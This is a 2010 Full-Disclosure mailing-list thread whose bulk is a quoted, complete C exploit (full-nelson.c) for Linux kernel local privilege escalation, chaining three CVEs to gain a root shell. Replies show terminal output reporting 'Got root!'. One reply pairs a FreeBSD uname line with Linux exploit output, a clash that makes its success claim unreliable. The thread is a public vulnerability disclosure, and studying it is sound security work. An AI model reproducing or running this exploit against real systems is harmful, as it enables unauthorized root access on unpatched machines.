Re: Linux kernel exploit

[Benji <me () b3nji com>]

working here aswell

ownsthis@local[~]$ uname -a
FreeBSD local 8.1-RELEASE-p1 FreeBSD 8.1-RELEASE-p1 #4: Thu Sep 23 08:30:18
UTC 2010 root@benjir0x:/*usr*/*obj*/*usr*/*src*/*sys*/GENERIC amd64
ownsthis@local[~]$ ./w00tw00t
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xffffffffa0239510
[+] Resolved econet_ops to 0xffffffffa0239600
[+] Resolved commit_creds to 0xffffffff8108bd90
[+] Resolved prepare_kernel_cred to 0xffffffff8108c170
[*] Calculating target...

[*] Failed to set Econet address.
[*] Triggering payload...
[*] Got root!
# id
uid=0(root) gid=0(root)
#

On Wed, Dec 8, 2010 at 7:15 PM, leandro_lista
<leandro_lista () portari com br>wrote:

>  Works in kernel 2.6.32-24
>
>
>
> Linux indzin-desktop 2.6.32-24-generic #41-Ubuntu SMP Thu Aug 19 01:38:40
> UTC 2010 x86_64 GNU/Linux
>
> indzin@indzin-desktop:~$ ./nels
> [*] Resolving kernel addresses...
> [+] Resolved econet_ioctl to 0xffffffffa0239510
> [+] Resolved econet_ops to 0xffffffffa0239600
> [+] Resolved commit_creds to 0xffffffff8108bd90
> [+] Resolved prepare_kernel_cred to 0xffffffff8108c170
> [*] Calculating target...
>
> [*] Failed to set Econet address.
> [*] Triggering payload...
> [*] Got root!
> # id
> uid=0(root) gid=0(root)
> #
>
>
> :)
>
>
>
>
> -----Original Message-----
> *From*: Cal Leeming [Simplicity Media Ltd] <
> cal.leeming () simplicitymedialtd co uk<%22Cal%20Leeming%20%5bSimplicity%20Media%20Ltd%5d%22%20%3ccal.leeming () 
> simplicitymedialtd co uk%3e>
> >
> *Reply-to*: cal.leeming () simplicitymedialtd co uk
> *To*: Dan Rosenberg <dan.j.rosenberg () gmail com<Dan%20Rosenberg%20%3cdan.j.rosenberg () gmail com%3e>
> >
> *Cc*: full-disclosure () lists grok org uk, bugtraq () securityfocus com
> *Subject*: Re: [Full-disclosure] Linux kernel exploit
> *Date*: Tue, 07 Dec 2010 21:06:44 +0000
>
> Anyone tested this in sandbox yet?
>
> On 07/12/2010 20:25, Dan Rosenberg wrote:
> > Hi all,
> >
> > I've included here a proof-of-concept local privilege escalation exploit
> > for Linux.  Please read the header for an explanation of what's going
> > on.  Without further ado, I present full-nelson.c:
> >
> > Happy hacking,
> > Dan
> >
> >
> > --snip--
> >
> > /*
> >   * Linux Kernel<= 2.6.37 local privilege escalation
> >   * by Dan Rosenberg
> >   * @djrbliss on twitter
> >   *
> >   * Usage:
> >   * gcc full-nelson.c -o full-nelson
> >   * ./full-nelson
> >   *
> >   * This exploit leverages three vulnerabilities to get root, all of which were
> >   * discovered by Nelson Elhage:
> >   *
> >   * CVE-2010-4258
> >   * -------------
> >   * This is the interesting one, and the reason I wrote this exploit.  If a
> >   * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
> >   * word will be written to a user-specified pointer when that thread exits.
> >   * This write is done using put_user(), which ensures the provided destination
> >   * resides in valid userspace by invoking access_ok().  However, Nelson
> >   * discovered that when the kernel performs an address limit override via
> >   * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
> >   * etc.), this override is not reverted before calling put_user() in the exit
> >   * path, allowing a user to write a NULL word to an arbitrary kernel address.
> >   * Note that this issue requires an additional vulnerability to trigger.
> >   *
> >   * CVE-2010-3849
> >   * -------------
> >   * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
> >   * fairly benign as a local denial-of-service.  It's a perfect candidate to
> >   * trigger the above issue, since it's reachable via sock_no_sendpage(), which
> >   * subsequently calls sendmsg under KERNEL_DS.
> >   *
> >   * CVE-2010-3850
> >   * -------------
> >   * I wouldn't be able to reach the NULL pointer dereference and trigger the
> >   * OOPS if users weren't able to assign Econet addresses to arbitrary
> >   * interfaces due to a missing capabilities check.
> >   *
> >   * In the interest of public safety, this exploit was specifically designed to
> >   * be limited:
> >   *
> >   *  * The particular symbols I resolve are not exported on Slackware or Debian
> >   *  * Red Hat does not support Econet by default
> >   *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
> >   *    Debian
> >   *
> >   * However, the important issue, CVE-2010-4258, affects everyone, and it would
> >   * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
> >   * more sophisticated version of this that doesn't have the roadblocks I put in
> >   * to prevent abuse by script kiddies.
> >   *
> >   * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
> >   *
> >   * NOTE: the exploit process will deadlock and stay in a zombie state after you
> >   * exit your root shell because the Econet thread OOPSes while holding the
> >   * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
> >   *
> >   * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
> >   */
> >
> > #include<stdio.h>
> > #include<sys/socket.h>
> > #include<fcntl.h>
> > #include<sys/ioctl.h>
> > #include<string.h>
> > #include<net/if.h>
> > #include<sched.h>
> > #include<stdlib.h>
> > #include<signal.h>
> > #include<sys/utsname.h>
> > #include<sys/mman.h>
> > #include<unistd.h>
> >
> > /* How many bytes should we clear in our
> >   * function pointer to put it into userspace? */
> > #ifdef __x86_64__
> > #define SHIFT 24
> > #define OFFSET 3
> > #else
> > #define SHIFT 8
> > #define OFFSET 1
> > #endif
> >
> > /* thanks spender... */
> > unsigned long get_kernel_sym(char *name)
> > {
> >     FILE *f;
> >     unsigned long addr;
> >     char dummy;
> >     char sname[512];
> >     struct utsname ver;
> >     int ret;
> >     int rep = 0;
> >     int oldstyle = 0;
> >
> >     f = fopen("/proc/kallsyms", "r");
> >     if (f == NULL) {
> >             f = fopen("/proc/ksyms", "r");
> >             if (f == NULL)
> >                     goto fallback;
> >             oldstyle = 1;
> >     }
> >
> > repeat:
> >     ret = 0;
> >     while(ret != EOF) {
> >             if (!oldstyle)
> >                     ret = fscanf(f, "%p %c %s\n", (void **)&addr,&dummy, sname);
> >             else {
> >                     ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
> >                     if (ret == 2) {
> >                             char *p;
> >                             if (strstr(sname, "_O/") || strstr(sname, "_S."))
> >                                     continue;
> >                             p = strrchr(sname, '_');
> >                             if (p>  ((char *)sname + 5)&&  !strncmp(p - 3, "smp", 3)) {
> >                                     p = p - 4;
> >                                     while (p>  (char *)sname&&  *(p - 1) == '_')
> >                                             p--;
> >                                     *p = '\0';
> >                             }
> >                     }
> >             }
> >             if (ret == 0) {
> >                     fscanf(f, "%s\n", sname);
> >                     continue;
> >             }
> >             if (!strcmp(name, sname)) {
> >                     fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : 
> > "");
> >                     fclose(f);
> >                     return addr;
> >             }
> >     }
> >
> >     fclose(f);
> >     if (rep)
> >             return 0;
> > fallback:
> >     uname(&ver);
> >     if (strncmp(ver.release, "2.6", 3))
> >             oldstyle = 1;
> >     sprintf(sname, "/boot/System.map-%s", ver.release);
> >     f = fopen(sname, "r");
> >     if (f == NULL)
> >             return 0;
> >     rep = 1;
> >     goto repeat;
> > }
> >
> > typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
> > typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
> > _commit_creds commit_creds;
> > _prepare_kernel_cred prepare_kernel_cred;
> >
> > static int __attribute__((regparm(3)))
> > getroot(void * file, void * vma)
> > {
> >
> >          commit_creds(prepare_kernel_cred(0));
> >          return -1;
> >
> > }
> >
> > /* Why do I do this?  Because on x86-64, the address of
> >   * commit_creds and prepare_kernel_cred are loaded relative
> >   * to rip, which means I can't just copy the above payload
> >   * into my landing area. */
> > void __attribute__((regparm(3)))
> > trampoline()
> > {
> >
> > #ifdef __x86_64__
> >     asm("mov $getroot, %rax; call *%rax;");
> > #else
> >     asm("mov $getroot, %eax; call *%eax;");
> > #endif
> >
> > }
> >
> > /* Triggers a NULL pointer dereference in econet_sendmsg
> >   * via sock_no_sendpage, so it's under KERNEL_DS */
> > int trigger(int * fildes)
> > {
> >     int ret;
> >     struct ifreq ifr;
> >
> >     memset(&ifr, 0, sizeof(ifr));
> >     strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
> >
> >     ret = ioctl(fildes[2], SIOCSIFADDR,&ifr);
> >
> >     if(ret<  0) {
> >             printf("[*] Failed to set Econet address.\n");
> >             return -1;
> >     }
> >
> >     splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
> >     splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
> >
> >     /* Shouldn't get here... */
> >     exit(0);
> > }
> >
> > int main(int argc, char * argv[])
> > {
> >     unsigned long econet_ops, econet_ioctl, target, landing;
> >     int fildes[4], pid;
> >     void * newstack, * payload;
> >
> >     /* Create file descriptors now so there are two
> >        references to them after cloning...otherwise
> >        the child will never return because it
> >        deadlocks when trying to unlock various
> >        mutexes after OOPSing */
> >     pipe(fildes);
> >     fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
> >     fildes[3] = open("/dev/zero", O_RDONLY);
> >
> >     if(fildes[0]<  0 || fildes[1]<  0 || fildes[2]<  0 || fildes[3]<  0) {
> >             printf("[*] Failed to open file descriptors.\n");
> >             return -1;
> >     }
> >
> >     /* Resolve addresses of relevant symbols */
> >     printf("[*] Resolving kernel addresses...\n");
> >     econet_ioctl = get_kernel_sym("econet_ioctl");
> >     econet_ops = get_kernel_sym("econet_ops");
> >     commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
> >     prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
> >
> >     if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
> >             printf("[*] Failed to resolve kernel symbols.\n");
> >             return -1;
> >     }
> >
> >     if(!(newstack = malloc(65536))) {
> >             printf("[*] Failed to allocate memory.\n");
> >             return -1;
> >     }
> >
> >     printf("[*] Calculating target...\n");
> >     target = econet_ops + 10 * sizeof(void *) - OFFSET;
> >
> >     /* Clear the higher bits */
> >     landing = econet_ioctl<<  SHIFT>>  SHIFT;
> >
> >     payload = mmap((void *)(landing&  ~0xfff), 2 * 4096,
> >                    PROT_READ | PROT_WRITE | PROT_EXEC,
> >                    MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
> >
> >     if ((long)payload == -1) {
> >             printf("[*] Failed to mmap() at target address.\n");
> >             return -1;
> >     }
> >
> >     memcpy((void *)landing,&trampoline, 1024);
> >
> >     clone((int (*)(void *))trigger,
> >           (void *)((unsigned long)newstack + 65536),
> >           CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
> >     &fildes, NULL, NULL, target);
> >
> >     sleep(1);
> >
> >     printf("[*] Triggering payload...\n");
> >     ioctl(fildes[2], 0, NULL);
> >
> >     if(getuid()) {
> >             printf("[*] Exploit failed to get root.\n");
> >             return -1;
> >     }
> >
> >     printf("[*] Got root!\n");
> >     execl("/bin/sh", "/bin/sh", NULL);
> > }
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/